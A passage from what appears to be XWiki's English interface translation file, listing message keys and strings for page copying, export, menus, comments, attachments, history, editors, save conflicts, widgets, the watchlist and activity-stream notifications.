Location\ncore.copy.target.location.hint=The location where to copy the page\ncore.copy.target.wiki.label=Wiki\ncore.copy.target.wiki.hint=The wiki where to copy the page\ncore.copy.target.parent.label=Parent\ncore.copy.target.parent.hint=The parent of the copy. Leave empty if the copy should be a top level page.\ncore.copy.target.name.label=Name\ncore.copy.target.name.hint=The copy can have a different name than the source page\ncore.copy.target.terminal.label=Copy as terminal page\ncore.copy.target.terminal.hint=This type of page cannot have children and is generally used in applications, development or in older versions of XWiki.\ncore.copy.allTranslations=All Translations\ncore.copy.language.hint=Translation of the original page\ncore.copy.children.label=Preserve children\ncore.copy.children.hint=Copy also the {0}{1} {1,choice,0#children|1#child|1<children}{2} of the source page\ncore.copy.children.hintWithoutParams=Copy also the children of the source page\ncore.copy.submit=Copy\ncore.copy.cancel=Cancel\ncore.copy.alreadyExists=The page {0} already exists. Are you sure you want to overwrite it (all its content would be lost)?\ncore.copy.editRightsForbidden=You don''t have the appropriate rights to copy the page at the following target {0}.\ncore.copy.changeTarget=Change the target page\ncore.copy.status.label=Copy Status\ncore.copy.status.hint=The following copy operation has been started by {0} on {1}\ncore.copy.status.notFound=The requested copy status could not be found.", "### Document Picker\ncore.documentPicker.title=Select Page\ncore.documentPicker.select=Select\ncore.documentPicker.cancel=Cancel", "### Export\ncore.export.pdf.options.title=PDF Export Options\ncore.export.pdf.options.language.hint=Choose the translation you want to export.\ncore.export.pdf.options.currentLanguage=(Current language)\ncore.export.pdf.options.cover=Cover\ncore.export.pdf.options.cover.hint=Print the cover page, containing the page title, author and last modification date.\ncore.export.pdf.options.toc=Table of Contents\ncore.export.pdf.options.toc.hint=List headings at the beginning of the PDF document, usually right after the cover page.\ncore.export.pdf.options.header=Header\ncore.export.pdf.options.header.hint=Header displayed on each page\ncore.export.pdf.options.footer=Footer\ncore.export.pdf.options.footer.hint=Footer displayed on each page\ncore.export.pdf.options.comments=Comments\ncore.export.pdf.options.comments.hint=Include page comments at the end of the PDF document, usually before the image attachments.\ncore.export.pdf.options.images=Image attachments\ncore.export.pdf.options.images.hint=Print image attachments at the very end of the PDF document.\ncore.export.formatUnknown=Office server is not started or that export format is not supported.", "### Paging links\nweb.paging.pageNumberOf=Page {0} of {1}\nweb.paging.firstPage=&laquo; First\nweb.paging.previousPage=&lt; Previous\nweb.paging.nextPage=Next &gt;\nweb.paging.lastPage=Last &raquo;", "tempdirnotset=Temporary directory not set. Please follow the instructions on <a href=\"http://www.xwiki.org/xwiki/bin/view/FAQ/WhyAmIGettingANullPointerExceptionWhenUploadingFiles\">xwiki.org</a> on how to fix this.", "# Comments for history\n# Note: These keys should be moved to their domains.\n# For example the comment messages for the XAR importer are in core.importer.* keys.\n# TODO: Do the same for the other keys\n###\ncore.comment=Version summary\ncore.comment.details=(Enter a brief description of your changes)\ncore.comment.tooltip=Enter a brief description of your changes\ncore.comment.prompt=Enter a brief description of your changes\ncore.comment.addComment=Added comment\ncore.comment.editComment=Edited comment\ncore.comment.addObject=Added object\ncore.comment.updateObject=Updated object\ncore.comment.deleteObject=Deleted object\ncore.comment.addProperty=Added property\ncore.comment.updateProperty=Updated property\ncore.comment.updatePropertyName=Updated property name\ncore.comment.addClassProperty=Added class property\ncore.comment.updateClassProperty=Updated class property\ncore.comment.updateClassPropertyName=Updated class property name\ncore.comment.createdUser=Created user\ncore.comment.addedUserToGroup=Added user to group\ncore.comment.rollback=Rollback to version {0}\ncore.comment.updateContent=Update Content\ncore.comment.uploadAttachmentComment=Uploaded new attachment \"{0}\", version {1}\ncore.comment.uploadImageComment=Upload new image \"{0}\", version {1}\ncore.comment.deleteAttachmentComment=Deleted attachment \"{0}\"\ncore.comment.deleteImageComment=Deleted image \"{0}\"\ncore.comment.renameLink=Renamed links to {0} following the rename of that page\ncore.comment.renameParent=Changed parent to {0} following the rename of that page\ncore.comment.createdTemplate=Created {0} Template\ncore.comment.hint=Add summary...", "core.minoredit=Minor edit\ncore.minoredit.show=Show minor edits\ncore.minoredit.hide=Hide minor edits", "### top menu\ncore.menu.main.title=General Actions:\ncore.menu.content.title=Page Actions:\ncore.menu.goto.wiki=Go to Wiki\ncore.menu.goto.space=Go to Space\ncore.menu.goto.page=Go to Page\ncore.menu.create=Create\ncore.menu.create.page=Page\ncore.menu.create.pageFromOffice=Page from Office\ncore.menu.create.space=Space\ncore.menu.create.wiki=Create wiki\ncore.menu.create.comment=Comment to Page\ncore.menu.create.attachment=Attachment to Page\ncore.menu.copy=Copy\ncore.menu.edit=Edit\ncore.menu.edit.wiki=Wiki\ncore.menu.edit.wysiwyg=WYSIWYG\ncore.menu.edit.inline=Inline form\ncore.menu.edit.object=Objects\ncore.menu.edit.class=Class\ncore.menu.edit.rights=Access Rights\ncore.menu.edit.currentEditor=Edit{0}\ncore.menu.drawer=Drawer\ncore.menu.view.source=Source\ncore.menu.view.comments=Comments\ncore.menu.view.attachments=Attachments\ncore.menu.view.history=History\ncore.menu.view.information=Information\ncore.menu.print.preview=Print Preview\ncore.menu.delete=Delete\ncore.menu.rename=Move / Rename\ncore.menu.actions.label=More Actions\ncore.menu.actions.main=Manage\ncore.menu.actions.others=Actions\ncore.menu.actions.viewers=Viewers\ncore.menu.preview=Print Preview\ncore.menu.profile=Profile\ncore.menu.userPreferences=Preferences\ncore.menu.userDashboard=My dashboard\ncore.menu.network=Network\ncore.menu.export=Export\ncore.menu.export.pdf=Export as PDF\ncore.menu.export.odt=Export as ODT\ncore.menu.export.rtf=Export as RTF\ncore.menu.export.html=Export as HTML\ncore.menu.export.xar=Export as XAR\ncore.menu.watchlist.add=Watch\ncore.menu.watchlist.remove=Unwatch\ncore.menu.watchlist.add.document=Watch page\ncore.menu.watchlist.remove.document=Unwatch page\ncore.menu.watchlist.add.page=Watch Page\ncore.menu.watchlist.remove.page=Unwatch Page\ncore.menu.watchlist.add.space=Watch Space\ncore.menu.watchlist.remove.space=Unwatch Space\ncore.menu.watchlist.add.wiki=Watch Wiki\ncore.menu.watchlist.remove.wiki=Unwatch Wiki\ncore.menu.watchlist.management=Watchlist\ncore.menu.share=Share by Email\ncore.menu.admin=Administration\ncore.menu.admin.wiki=Administer Wiki\ncore.menu.admin.space=Administer Space\ncore.menu.admin.page=Administer Page\ncore.menu.admin.parent=Administer Parent\ncore.menu.editing=Editing\ncore.menu.type.home=Home\ncore.menu.type.wiki=Wiki\ncore.menu.type.space=Space\ncore.menu.type.page=Page\ncore.menu.type.profile=Profile\ncore.menu.wiki.documentindex=Page Index\ncore.menu.space.documentindex=Page Index\ncore.menu.space.delete=Delete\n### Translations used from web standard templates, not colibri\ncore.menu.view=View\ncore.menu.print=Print\ncore.menu.watch=Watch\ncore.menu.toggleSearch=Toggle search\ncore.menu.toggleNavigation=Toggle navigation\ncore.menu.toggleDropdown=Toggle dropdown", "### Messages for the various document viewers (history, attachments, info...)\ncore.viewers.content.doesnotexists.edittocreate=You can <a href=\"{0}\">edit this page</a> to create it.", "core.viewers.comments.title=Comments on <a href=\"{1}\">{0}</a>\ncore.viewers.comments.permalink=Permalink\ncore.viewers.comments.permalink.goto=Go to permalink\ncore.viewers.comments.delete=Delete\ncore.viewers.comments.delete.confirm=Are you sure you want to remove this comment?\ncore.viewers.comments.delete.inProgress=Deleting...\ncore.viewers.comments.delete.done=Comment deleted\ncore.viewers.comments.delete.failed=Failed to delete comment:\ncore.viewers.comments.reply=Reply\ncore.viewers.comments.noComments=No comments for this page\ncore.viewers.comments.add.title=Add comment\ncore.viewers.comments.add.says=says:\ncore.viewers.comments.add.guestName.prompt=Author:\ncore.viewers.comments.add.guestName.default=Anonymous\ncore.viewers.comments.add.submit=Add comment\ncore.viewers.comments.add.cancel=Cancel\ncore.viewers.comments.add.comment.label=Comment\ncore.viewers.comments.add.inProgress=Sending comment...\ncore.viewers.comments.add.done=Comment posted\ncore.viewers.comments.add.failed=Failed to post comment:\ncore.viewers.comments.preview.button.preview=Preview\ncore.viewers.comments.preview.button.back=Back\ncore.viewers.comments.preview.failed=Failed to generate preview:\ncore.viewers.comments.preview.inProgress=Generating preview...\ncore.viewers.comments.commentDeleted=Deleted comment.\ncore.viewers.comments.deleteReplies.prompt=Also delete all replies to this comment?\ncore.viewers.comments.edit=Edit\ncore.viewers.comments.edit.save=Save comment\ncore.viewers.comments.edit.cancel=Cancel\ncore.viewers.comments.edit.notAllowed=You are not allowed to edit this comment\ncore.viewers.comments.edit.notFound=The requested comment does not exist\ncore.viewers.comments.edit.versionComment=Edited comment {0}\ncore.viewers.comments.editForm.fetch.inProgress=Retrieving comment source...\ncore.viewers.comments.editForm.fetch.failed=Failed to retrieve comment:\n### Deprecated:\ncore.viewers.comments.confirmDelete=Are you sure you want to remove this comment?", "core.viewers.annotations.title=Annotations on {0}", "core.viewers.attachments.title=Attachments for <a href=\"{1}\">{0}</a>\ncore.viewers.attachments.download=Download this attachment\ncore.viewers.attachments.delete=Delete\ncore.viewers.attachments.delete.confirm=Are you sure you want to delete this attachment?\ncore.viewers.attachments.delete.title=Delete this attachment\ncore.viewers.attachments.delete.inProgress=Deleting...\ncore.viewers.attachments.delete.done=Attachment deleted\ncore.viewers.attachments.delete.failed=Failed to delete attachment:\ncore.viewers.attachments.webdavEdit=Edit\ncore.viewers.attachments.webdavEdit.title=Edit this attachment\ncore.viewers.attachments.officeView=View\ncore.viewers.attachments.officeView.title=View this attachment\ncore.viewers.attachments.showHistory=View attachment history\ncore.viewers.attachments.author=Posted by {0}\ncore.viewers.attachments.date=on {0}\ncore.viewers.attachments.noAttachments=No attachments for this page\ncore.viewers.attachments.upload.title=Attach files to this page\ncore.viewers.attachments.upload.filename=Choose target filename:\ncore.viewers.attachments.upload.file=Choose file to upload:\ncore.viewers.attachments.upload.addFileInput=Add another file\ncore.viewers.attachments.upload.removeFileInput=Remove\ncore.viewers.attachments.upload.removeFileInput.title=Remove this file\ncore.viewers.attachments.upload.submit=Attach\ncore.viewers.attachments.upload.cancel=Cancel\ncore.viewers.attachments.upload.confirmReplace=Do you want to replace the filename with\ncore.viewers.attachments.revisions=The available versions of attachment ''{0}'' are:\n### MIME types\ncore.viewers.attachments.mime.audio=Audio\ncore.viewers.attachments.mime.image=Image\ncore.viewers.attachments.mime.text=Text\ncore.viewers.attachments.mime.video=Video\ncore.viewers.attachments.mime.flash=Flash\ncore.viewers.attachments.mime.svg=SVG\ncore.viewers.attachments.mime.html=HTML\ncore.viewers.attachments.mime.css=CSS\ncore.viewers.attachments.mime.xml=XML\n### Office\ncore.viewers.attachments.mime.office=Office Document\ncore.viewers.attachments.mime.document=Document\ncore.viewers.attachments.mime.presentation=Presentation\ncore.viewers.attachments.mime.spreadsheet=Spreadsheet\ncore.viewers.attachments.mime.odt=Office Template\ncore.viewers.attachments.mime.ps=PS\ncore.viewers.attachments.mime.pdf=PDF\n### Archives\ncore.viewers.attachments.mime.tar=TAR Archive\ncore.viewers.attachments.mime.bz=BZ Archive\ncore.viewers.attachments.mime.gz=GZ Archive\ncore.viewers.attachments.mime.zip=ZIP Archive\ncore.viewers.attachments.mime.rar=RAR Archive\ncore.viewers.attachments.mime.jar=JAR\n### Code\ncore.viewers.attachments.mime.sql=SQL Dump\ncore.viewers.attachments.mime.php=PHP Code\ncore.viewers.attachments.mime.c=C Code\ncore.viewers.attachments.mime.cpp=C++ Code\ncore.viewers.attachments.mime.cs=C# Code\ncore.viewers.attachments.mime.h=Header File\ncore.viewers.attachments.mime.ruby=Ruby Code\ncore.viewers.attachments.mime.java=Java Code\ncore.viewers.attachments.mime.js=JavaScript Code\ncore.viewers.attachments.mime.script=Shell Script\ncore.viewers.attachments.mime.vs=Visual Studio File\n### Misc.\ncore.viewers.attachments.mime.calendar=Calendar Data\ncore.viewers.attachments.mime.email=EMail\ncore.viewers.attachments.mime.vcard=vCard\ncore.viewers.attachments.mime.exe=Windows Executable\ncore.viewers.attachments.mime.attachment=Attachment", "core.viewers.history.actions=Actions\ncore.viewers.history.title=History of <a href=\"{1}\">{0}</a>\ncore.viewers.history.summary=History of {0} &mdash; revisions from {1} to {2}\ncore.viewers.history.from=From\ncore.viewers.history.to=To\ncore.viewers.history.version=Version\ncore.viewers.history.author=Editor\ncore.viewers.history.date=Date\ncore.viewers.history.comment=Summary\ncore.viewers.history.currentVersion=Current version\ncore.viewers.history.rollback=Rollback\ncore.viewers.history.confirmRollback=Are you sure you wish to rollback to version {0}?\ncore.viewers.history.deleteSingle=Delete\ncore.viewers.history.confirmDeleteSingle=This action is not reversible. Are you sure you wish to delete version {0}?\ncore.viewers.history.compare=Compare selected versions\ncore.viewers.history.deleteRange=Delete selected version range\ncore.viewers.history.confirmDeleteRange=This action is not reversible. Are you sure you wish to delete versions from __rev1__ to __rev2__ inclusive?\ncore.viewers.history.showMinorEdits=Show minor edits\ncore.viewers.history.hideMinorEdits=Hide minor edits\ncore.viewers.history.extension.label={0}Version{1} coming from extension {2}{3} {4}{5}\ncore.viewers.history.empty=\"The history of this page is empty.\"", "core.viewers.information.title=Information about <a href=\"{1}\">{0}</a>\ncore.viewers.information.locale=Locale\ncore.viewers.information.noLocale=None\ncore.viewers.information.originalLocale=Original locale\ncore.viewers.information.translations=Translations\ncore.viewers.information.syntax=Syntax\ncore.viewers.information.hidden=Hidden\ncore.viewers.information.includedPages=Included pages\ncore.viewers.information.noIncludedPages=No included pages\ncore.viewers.information.backlinks=Backlinks\ncore.viewers.information.noBacklinks=No backlinks\ncore.viewers.information.pageReference=Page reference\ncore.viewers.information.pageReference.copied=Reference copied to clipboard\ncore.viewers.information.pageReference.copyButton=Copy the reference to clipboard\ncore.viewers.information.pageReference.globalButton=Display the page reference for all wikis\ncore.viewers.information.pageReference.localButton=Display the page reference only for this wiki\ncore.viewers.information.pageReference.tips=Copy and paste this reference whenever a page reference or 'fullname' is required: when creating links to this page in the wiki syntax editor, when using this page as a parameter to wiki macro, etc.", "core.viewers.code.title=Wiki source code of <a href=\"{1}\">{0}</a>\ncore.viewers.code.hideLineNumbers=Hide line numbers\ncore.viewers.code.showLineNumbers=Show line numbers", "core.viewers.jump.dialog.content=Go to:\ncore.viewers.jump.shortcuts='Meta+G', 'Ctrl+G', 'Ctrl+/', 'Meta+/'\ncore.viewers.jump.dialog.input.tooltip=Path.to.Page\ncore.viewers.jump.dialog.actions.view=View\ncore.viewers.jump.dialog.actions.view.tooltip=View page (Enter)\ncore.viewers.jump.dialog.actions.view.shortcuts='Enter'\ncore.viewers.jump.dialog.actions.edit=Edit\ncore.viewers.jump.dialog.actions.edit.tooltip=Edit page in the default editor (Meta+E)\ncore.viewers.jump.dialog.actions.edit.shortcuts='Meta+E'", "core.viewers.share.title=Share <a href=\"{1}\">{0}</a> by email\ncore.viewers.share.error.mustLogin=You must be logged in to use this feature\ncore.viewers.share.error.serverError=email server error\ncore.viewers.share.error.unknownEmail=unknown email address\ncore.viewers.share.error.missingRecipient=Please enter the recipient\ncore.viewers.share.send.success=The message has been sent to {0}.\ncore.viewers.share.send.error=The message could not be sent to {0}: {1}.\ncore.viewers.share.send.back=\\u00AB Go back to the {0} page\ncore.viewers.share.dialogTitle=Share this page\ncore.viewers.share.target=Send to\ncore.viewers.share.target.hint=XWiki user or email address\ncore.viewers.share.target.ccMe=Send me a copy\ncore.viewers.share.includeMethod=Include the current page\ncore.viewers.share.includeMethod.link=Only as a link\ncore.viewers.share.includeMethod.inline=Inline in the message\ncore.viewers.share.includeMethod.attachment=As an attached PDF\ncore.viewers.share.includeComments=Also include comments\ncore.viewers.share.messagePreviewLabel=The following message will be sent:\ncore.viewers.share.defaultMessage=I wanted to share this page with you.\ncore.viewers.share.recipientPlaceholder=&lt;recipient&gt;\ncore.viewers.share.submit=Send\ncore.viewers.share.cancel=Cancel", "platform.web.editors.wiki.pageTitle=Editing {0} (wiki mode)\nplatform.web.editors.wysiwyg.pageTitle=Editing {0}\nplatform.web.editors.inline.pageTitle=Editing {0}\nplatform.web.editors.object.pageTitle=Editing objects of {0}\nplatform.web.editors.class.pageTitle=Editing class {0}\nplatform.web.editors.rights.pageTitle=Editing access rights for {0}\nplatform.web.editors.unknown.pageTitle=Editing {0}", "core.editors.content.parentField.label=Parent\ncore.editors.content.parentField.edit=(edit)\ncore.editors.content.parentField.edit.title=Edit parent\ncore.editors.content.parentField.edit.hide=(hide)\ncore.editors.content.titleField.label=Title\ncore.editors.content.contentField.label=Content\ncore.editors.content.titleField.sectionEditingFormat={0} (\\u00A7{1}: {2})", "###full screen\ncore.editors.fullscreen.editFullScreen=Maximize\ncore.editors.fullscreen.editFullScreenTitle=Maximize\ncore.editors.fullscreen.exitFullScreen=Exit Full Screen", "core.editors.object.title=Editing objects of <a href=\"{1}\">{0}</a>\ncore.editors.object.objectsForClass=Objects of type {0}\ncore.editors.object.noObject=The specified object does not exist\ncore.editors.object.add.label=New object\ncore.editors.object.add.selectClass=Select a Class\ncore.editors.object.add.submit=Add\ncore.editors.object.add.inProgress=Creating object...\ncore.editors.object.add.done=Object created\ncore.editors.object.add.failed=Failed:\ncore.editors.object.loadObject.inProgress=Loading object information...\ncore.editors.object.loadObject.done=Object loaded\ncore.editors.object.loadObject.failed=Object loading failed:\ncore.editors.object.add.invalidClassName=The class {0} does not exist\ncore.editors.object.newObjectForClass=New {0} object\ncore.editors.object.newObjectForClass.tooltip=New {0} object\ncore.editors.object.editAllObjects=\\u00ABEdit all the objects defined in this page\ncore.editors.object.editSingleObject=[Edit only this object]\ncore.editors.object.editSingleObject.tooltip=Edit only this object\ncore.editors.object.removeObject=[Remove this object]\ncore.editors.object.removeObject.tooltip=Remove this object\ncore.editors.object.invalidPropertyName=No such property: {0}\ncore.editors.object.delete.inProgress=Deleting object...\ncore.editors.object.delete.done=Object deleted\ncore.editors.object.delete.failed=Failed to delete object:\ncore.editors.object.delete.confirmJS=Are you sure you want to delete this object?\ncore.editors.object.invalidCSRF=Bad CSRF token, try to reload the page.\ncore.editors.object.badParameters=Bad request parameters.", "core.editors.object.removeDeprecatedProperties.info=The following properties were deleted from the class {0} and are now deprecated:\ncore.editors.object.removeDeprecatedProperties.link=Remove deprecated properties\ncore.editors.object.removeDeprecatedProperties.link.tooltip=Remove deprecated properties\ncore.editors.object.removeDeprecatedProperties.all.info=Some objects from this page contain deprecated properties which were deleted from their respective classes.\ncore.editors.object.removeDeprecatedProperties.all.link=Remove all deprecated properties\ncore.editors.object.removeDeprecatedProperties.all.link.tooltip=Remove all deprecated properties\ncore.editors.object.removeDeprecatedProperties.inProgress=Removing deprecated properties...\ncore.editors.object.removeDeprecatedProperties.done=Deprecated properties were removed\ncore.editors.object.removeDeprecatedProperties.failed=Failed to remove deprecated properties", "core.editors.class.title=Editing class <a href=\"{1}\">{0}</a>\ncore.editors.class.switchClass=Edit another class\ncore.editors.class.switchClass.confirm=Do you want to save this class before leaving the editor?\ncore.editors.class.addProperty.name.label=Add new property\ncore.editors.class.addProperty.type.label=Type\ncore.editors.class.addProperty.submit=Add\ncore.editors.class.addProperty.inProgress=Adding property...\ncore.editors.class.addProperty.done=Property added\ncore.editors.class.addProperty.failed=Failed:", "core.editors.class.deleteProperty.text=delete\ncore.editors.class.deleteProperty.tooltip=Delete property {0}\ncore.editors.class.deleteProperty.confirm=Are you sure you want to delete this property?\ncore.editors.class.deleteProperty.inProgress=Deleting property...\ncore.editors.class.deleteProperty.done=Property deleted\ncore.editors.class.deleteProperty.failed=Failed to delete property:", "core.editors.rights.title=Editing rights of <a href=\"{1}\">{0}</a>", "core.editors.csrfCheckFailed=CSRF validation failed when saving.\ncore.editors.saveandcontinue.csrfCheckFailed=CSRF validation failed when saving. Try 'Save &amp; View' instead!\ncore.editors.saveandcontinue.exceptionWhileSaving=An error occured while saving: {0}.\ncore.editors.saveandcontinue.theDocumentWasNotSaved=The page was not saved!\ncore.editors.saveandcontinue.notification.inprogress=Saving...\ncore.editors.saveandcontinue.notification.done=Saved\ncore.editors.saveandcontinue.notification.doneWithMerge=Saved by merging changes\ncore.editors.saveandcontinue.notification.error=Failed to save the page. Reason: {0}\ncore.editors.savewithprogress.notification=Saving... __PROGRESS__%", "core.editors.save.authorizationError.message=An authorization error occured when performing this action. Your might have been logged out since you started to edit this page.\ncore.editors.save.authorizationError.followLink=Click here to login in a new window.", "core.editors.save.previewDiff.title=Version conflict\ncore.editors.save.previewDiff.description=Another version of the document has been saved since you started editing it and the merge cannot be performed automatically because some conflict occured. You can chose below what to do for saving the document, and check the differences between different versions of the document.\ncore.editors.save.previewDiff.latestVersion=Latest version saved\ncore.editors.save.previewDiff.modified=Modified by {0} the {1}\ncore.editors.save.previewDiff.reload.action=Reload the editor\ncore.editors.save.previewDiff.reload.label=lose changes\ncore.editors.save.previewDiff.reload.hint=Discards all your current changes and loads back the last saved changes. Be aware that you will lose all your current changes.\ncore.editors.save.previewDiff.forceSave.action=Force save your changes\ncore.editors.save.previewDiff.forceSave.hint=Creates a new version of the document with only your changes. Previous changes will be available in the history and may need to be manually merged.\ncore.editors.save.previewDiff.merge.action=Merge and fix conflicts with your changes\ncore.editors.save.previewDiff.merge.label=recommended\ncore.editors.save.previewDiff.merge.hint=Merge your changes with the latest version saved of the documents and fix the conflicts by using your version of the document.\ncore.editors.save.previewDiff.custom.action=Fix each conflict individually\ncore.editors.save.previewDiff.custom.label=Advanced\ncore.editors.save.previewDiff.custom.hint=This allows you to take an individual decision for each conflict that needs to be solved.\ncore.editors.save.previewDiff.viewChanges=View changes\ncore.editors.save.previewDiff.versionToCompare.previous=before your changes\ncore.editors.save.previewDiff.versionToCompare.current=your current changes\ncore.editors.save.previewDiff.versionToCompare.next=latest version saved\ncore.editors.save.previewDiff.versionToCompare.merged=merged version\ncore.editors.save.previewDiff.versionToCompare.custom=custom version\ncore.editors.save.previewDiff.emptyDecisionValue=Remove inserted value.", "core.space.recyclebin.confirm=This action will move ALL pages in space {0} to the Recycle Bin. Are you sure you wish to continue?\ncore.space.delete.confirm=This action will remove ALL pages in space {0} from your wiki. Are you sure you wish to continue?\ncore.space.recyclebin.done=Space {0} was moved to the Recycle Bin.\ncore.space.recyclebin.show=View the list of pages from this space that are currently present in the Recycle Bin \\u00BB\ncore.space.delete.done=All pages from space {0} were deleted from this wiki.", "core.widgets.confirmationBox.defaultQuestion=Are you sure?\ncore.widgets.confirmationBox.button.yes=Yes\ncore.widgets.confirmationBox.button.no=No\ncore.widgets.confirmationBox.button.cancel=Cancel\ncore.widgets.confirmationBox.notification.inProgress=Sending request...\ncore.widgets.confirmationBox.notification.done=Done!\ncore.widgets.confirmationBox.notification.failed=Failed:", "core.widgets.ajaxRequest.error.noServer=Server not responding", "core.widgets.gallery.currentImage=Current image\ncore.widgets.gallery.previousImage=Show previous image\ncore.widgets.gallery.nextImage=Show next image\ncore.widgets.gallery.maximize=Maximize\ncore.widgets.gallery.minimize=Minimize", "core.widgets.suggest.noResults=No results!\ncore.widgets.suggest.showResults=Go to search page\\u2026\ncore.widgets.suggest.valuePrefix=Value:\ncore.widgets.suggest.transportError=Failed to retrieve suggestions:\ncore.widgets.suggest.hide=hide suggestions", "core.widgets.suggestPicker.deleteAll=Clear selection\ncore.widgets.suggestPicker.deleteAll.tooltip=Clear the list of selected items\ncore.widgets.suggestPicker.delete.tooltip=Remove this item from the list of selected items", "core.widgets.userPicker.noResults=User not found\ncore.widgets.userPicker.scopeHint=Click to toggle between local and global scope\ncore.widgets.groupPicker.noResults=Group not found", "web.uicomponents.suggest.selectTypedText=Select {0} ...\nweb.uicomponents.suggest.attachments.upload=Upload a file ...\nweb.uicomponents.suggest.attachments.uploading=Uploading {0}\nweb.uicomponents.suggest.attachments.uploadDone={0} uploaded successfully\nweb.uicomponents.suggest.attachments.uploadFailed=Failed to upload {0}", "core.widgets.html5upload.item.cancel=Cancel upload\ncore.widgets.html5upload.item.canceled=Canceled\ncore.widgets.html5upload.cancelAll=Cancel all pending uploads\ncore.widgets.html5upload.error.unknown=An error occurred while uploading {0}\ncore.widgets.html5upload.error.invalidType=The file {0} has an unsuported format\ncore.widgets.html5upload.error.invalidSize=The file {0} is too large. Please choose files under {1}\ncore.widgets.html5upload.error.aborted=The upload of {0} has been canceled\ncore.widgets.html5upload.status.finishing=Waiting for server confirmation for {0}...\ncore.widgets.html5upload.status.finished=Attachment uploaded: {0} ({1})\ncore.widgets.html5upload.hideStatus=Hide upload status", "### Watchlist (1.2M2)\nwatchlist=Watchlist\nwatchlist.title=Watchlist for {0}\nwatchlist.staytuned=Stay tuned\nwatchlist.staytuned.info=Receive notifications from your Watchlist\nwatchlist.staytuned.email=Email notifications\nwatchlist.staytuned.email.info=Please choose how often you would like to receive your email notifications\nwatchlist.staytuned.email.frequency=Frequency\nwatchlist.staytuned.email.frequency.save=Save\nwatchlist.staytuned.rss=RSS feed\nwatchlist.staytuned.rss.info=Last modifications feed for your watchlist\nwatchlist.elements=Elements in your watchlist\nwatchlist.pages=Pages\nwatchlist.pages.info=Pages you are currently following:\nwatchlist.spaces=Spaces\nwatchlist.spaces.info=Spaces you are currently following:\nwatchlist.page=Page\nwatchlist.space=Space\nwatchlist.actions=Actions\nwatchlist.delete=Remove from watchlist\nwatchlist.delete.tooltip=Remove from watchlist\nwatchlist.delete.ok={0} has been successfuly removed from watchlist\nwatchlist.delete.ko=An error occurred while removing {0} from watchlist\nwatchlist.create.object=Created WatchList storage object\nwatchlist.save.object=Updated WatchList\nwatchlist.event.create=On {0}, the page has been created by {1}\nwatchlist.event.delete=On {0}, the page has been deleted by {1}\nwatchlist.event.update=On {0}, the page has been modified by {1}\nwatchlist.event.update.multiple=Between {0} and {1}, the page has been modified {2} times, by {3} user{3,choice,0#s|1#|2#s}: {4}\nwatchlist.notification.email.greeting=Hello {0},\nwatchlist.notification.email.subject=XWiki updates, {0,choice,0#No|1#One|1<{0}} page{0,choice,0#s|1#|2#s} ha{0,choice,0#ve|1#s|1<ve} been modified since {1}\nwatchlist.notification.email.singleUpdate.subject=XWiki updates, 1 page has been modified since {0}\nwatchlist.notification.email.singleUpdate.intro=This message is sent by XWiki. Here is the page in your watchlist that has been modified since the last notification:\nwatchlist.notification.email.multipleUpdates.subject=XWiki updates, {0} pages have been modified since {1}\nwatchlist.notification.email.multipleUpdates.intro=This message is sent by XWiki. Here are the pages in your watchlist that have been modified since the last notification:\nwatchlist.notification.email.contents=Contents\nwatchlist.notification.tooltip=Notifications\nwatchlist.rss.author=XWiki\nwatchlist.rss.title=Your WatchList RSS feed\nwatchlist.rss.description=This RSS feed allows you to keep track of changes made to pages you added to your watchlist.\nwatchlist.job.hourly=Watchlist hourly email notifier\nwatchlist.job.daily=Watchlist daily email notifier\nwatchlist.job.weekly=Watchlist weekly email notifier\nwatchlist.preferences=Watchlist Preferences\nwatchlist.table.type=Type\nwatchlist.table.wiki=Wiki\nwatchlist.table.space=Space\nwatchlist.table.document=Page name\nwatchlist.table.allspaces=All spaces\nwatchlist.table.alldocuments=All pages\nwatchlist.table.actions=Actions\nwatchlist.diff.error=There was an error computing the difference. Please contact your administrator.", "### Activity stream, since 2.0RC1\nactivitystream.event.update=The page \"{0}\" has been modified\nactivitystream.event.update.rss.title=The page \"{0}\" has been modified\nactivitystream.event.update.rss.body=The page \"{0}\" has been modified\nactivitystream.event.create=The page \"{0}\" has been created\nactivitystream.event.create.rss.title=The page \"{0}\" has been created\nactivitystream.event.create.rss.body=The page \"{0}\" has been created\nactivitystream.event.delete=The page \"{0}\" has been deleted\nactivitystream.event.delete.rss.title=The page \"{0}\" has been deleted\nactivitystream.event.delete.rss.body=The page \"{0}\" has been deleted\n### Attachment events since XE 2.6RC1\nactivitystream.event.addAttachment=The attachment \"{1}\" has been added to the page \"{0}\"\nactivitystream.event.addAttachment.rss.title=The attachment \"{1}\" has been added to the page \"{0}\"\nactivitystream.event.addAttachment.rss.body=The attachment \"{1}\" has been added to the page \"{0}\"\nactivitystream.event.updateAttachment=The attachment \"{1}\" has been modified in the page \"{0}\"\nactivitystream.event.updateAttachment.rss.title=The attachment \"{1}\" has been modified in the page \"{0}\"\nactivitystream.event.updateAttachment.rss.body=The attachment \"{1}\" has been modified in the page \"{0}\"\nactivitystream.event.deleteAttachment=The attachment \"{1}\" has been deleted from the page \"{0}\"\nactivitystream.event.deleteAttachment.rss.title=The attachment \"{1}\" has been deleted from the page \"{0}\"\nactivitystream.event.deleteAttachment.rss.body=The attachment \"{1}\" has been deleted from the page \"{0}\"\n### Annotation events since XE 2.6RC1\nactivitystream.event.addAnnotation=An annotation has been added to the page \"{0}\"\nactivitystream.event.addAnnotation.rss.title=An annotation has been added to the page \"{0}\"\nactivitystream.event.addAnnotation.rss.body=An annotation has been added to the page \"{0}\"\nactivitystream.event.updateAnnotation=An annotation has been modified in the page \"{0}\"\nactivitystream.event.updateAnnotation.rss.title=An annotation has been modified in the page \"{0}\"\nactivitystream.event.updateAnnotation.rss.body=An annotation has been modified in the page \"{0}\"\nactivitystream.event.deleteAnnotation=An annotation has been deleted from the page \"{0}\"\nactivitystream.event.deleteAnnotation.rss.title=An annotation has been deleted from the page \"{0}\"\nactivitystream.event.deleteAnnotation.rss.body=An annotation has been deleted from the page \"{0}\"\n### Comment events since XE 2.6RC1\nactivitystream.event.addComment=A comment has been added to the page \"{0}\"\nactivitystream.event.addComment.rss.title=A comment has been added to the page \"{0}\"\nactivitystream.event.addComment.rss.body=A comment has been added to the page \"{0}\"\nactivitystream.event.updateComment=A comment has been modified in the page \"{0}\"\nactivitystream.event.updateComment.rss.title=A comment has been modified in the page \"{0}\"\nactivitystream.event.updateComment.rss.body=A comment has been modified in the page \"{0}\"\nactivitystream.event.deleteComment=A comment has been deleted from the page \"{0}\"\nactivitystream.event.deleteComment.rss.title=A comment has been deleted from the page \"{0}\"\nactivitystream.event.deleteComment.rss.body=A comment has been deleted from the page 